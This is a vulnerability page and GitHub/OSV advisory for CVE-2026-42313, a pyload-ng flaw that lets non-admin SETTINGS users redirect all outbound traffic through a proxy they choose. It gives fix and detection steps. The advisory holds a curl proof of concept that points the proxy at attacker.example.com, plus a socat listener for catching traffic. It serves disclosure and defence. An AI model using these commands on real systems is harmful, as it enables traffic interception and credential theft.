CVE-2026-42313: pyload-ng Non-admin SETTINGS Users Can Redirect Vulnerability
HIGHCVE-2026-42313 is a HIGH (CVSS 8.3) non-admin settings users can redirect vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting pyload-ng libraries in the PyPI ecosystem. The issue involves non-admin settings users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for cve-2026-33509 / -35463 / -35464 / -35586). Remediation is available by upgrading affected packages to version 0.5.0b3.dev100.
CVE-2026-42313 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).
How to Fix CVE-2026-42313
To remediate this vulnerability, upgrade all affected pyload-ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=0.5.0b3.dev100
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-42313, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of pyload-ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev100), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In pyload-ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42313 Affected pyload-ng Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
< 0.5.0b3.dev100
|
0.5.0b3.dev100
|
References
Frequently Asked Questions
What is CVE-2026-42313?
Which pyload-ng versions are affected?
What version fixes CVE-2026-42313?
Is pyload-ng affected?
What is the CVSS score of CVE-2026-42313?
What CWE is associated with CVE-2026-42313?
How can I check PyPI dependencies for CVE-2026-42313?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pg67-9wjv-mr85",
"modified" : "2026-06-08T19:48:19Z",
"published" : "2026-05-04T22:08:26Z",
"aliases" : [ "CVE-2026-42313" ],
"summary" : "pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)",
"details" : "### Summary\n\nThe `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `(\"proxy\", \"username\")` and `(\"proxy\", \"password\")` — which protect the proxy credentials — but it does **not** include `(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, or `(\"proxy\", \"type\")`. Any authenticated user with the non-admin `SETTINGS` permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.\n\nGating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. `proxy.username` / `proxy.password` were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.\n\nThis is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four `proxy.*` fields are jointly required to weaponize the miss and are patched together.\n\n### Details\n\n**Writer** — `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215–290). The allowlist:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n (\"general\", \"storage_folder\"),\n (\"log\", \"syslog_host\"), (\"log\", \"syslog_port\"),\n (\"proxy\", \"password\"), (\"proxy\", \"username\"), # <-- credentials gated\n (\"reconnect\", \"script\"),\n (\"webui\", \"host\"),\n (\"webui\", \"ssl_certfile\"), (\"webui\", \"ssl_keyfile\"), (\"webui\", \"ssl_certchain\"),\n (\"webui\", \"use_ssl\"),\n}\n```\n\n`(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, `(\"proxy\", \"type\")` are absent.\n\n**Reader** — `src/pyload/core/network/request_factory.py:82-100`:\n\n```python\ndef get_proxies(self):\n if not self.pyload.config.get(\"proxy\", \"enabled\"):\n return {}\n proxy_type = self.pyload.config.get(\"proxy\", \"type\")\n proxy_host = self.pyload.config.get(\"proxy\", \"host\")\n proxy_port = self.pyload.config.get(\"proxy\", \"port\")\n proxy_username = self.pyload.config.get(\"proxy\", \"username\") or None\n proxy_password = self.pyload.config.get(\"proxy\", \"password\") or None\n return {\"type\": proxy_type, ..., \"host\": proxy_host, \"port\": proxy_port, ...}\n```\n\n**Sink** — `src/pyload/core/network/http/http_request.py` (around lines 211–230) passes the dict to pycurl via `PROXY` / `PROXYPORT` / `PROXYTYPE` options. `get_proxies()` is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.\n\n### PoC\n\nAuthenticated as any user with `Perms.SETTINGS` (non-admin role):\n\n```bash\n# 1) Log in as the SETTINGS (non-admin) user.\ncurl -c cookies.txt -X POST http://pyload.example:8000/api/login \\\n -d 'username=settings_user&password=<password>'\n\n# 2) Redirect all outbound traffic through attacker.example.com:8080.\nfor kv in \\\n 'category=proxy&option=enabled&value=True' \\\n 'category=proxy&option=host&value=attacker.example.com' \\\n 'category=proxy&option=port&value=8080' \\\n 'category=proxy&option=type&value=http' ; do\n curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \\\n -d \"$kv§ion=core\"\ndone\n\n# 3) Enqueue any download (or wait for any periodic update / captcha\n# fetch). The attacker's server receives the full request — URL,\n# query string (often carrying auth tokens on download sites),\n# headers, cookies — and can inject an arbitrary response body.\n```\n\nVerification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v TCP-LISTEN:8080,fork,reuseaddr -`), trigger any pyload download, and observe the full request on the listener.\n\n### Impact\n\n- **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.\n- **What**:\n 1. **Full interception of all outbound HTTP traffic**: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.\n 2. **Credential theft** from any download-site auth cookies or bearer tokens that affected plugins send.\n 3. **Arbitrary response injection** — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.\n 4. **Chains with the sibling `ssl_verify` advisory**: if the attacker additionally sets `general.ssl_verify=off` (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what `set_config_value` already permits to a SETTINGS user.\n- **Why gating the credentials alone is insufficient**: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.5.0b3.dev100"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.5.0b3.dev99"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42313"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-4744-96p5-mp2j"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-ppvx-rwh9-7rj7"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-r7mc-x6x7-cqxx"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-w48f-wwwf-f5fr"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-127.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-441", "CWE-863", "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-04T22:08:26Z",
"nvd_published_at" : "2026-05-11T18:16:34Z"
}
}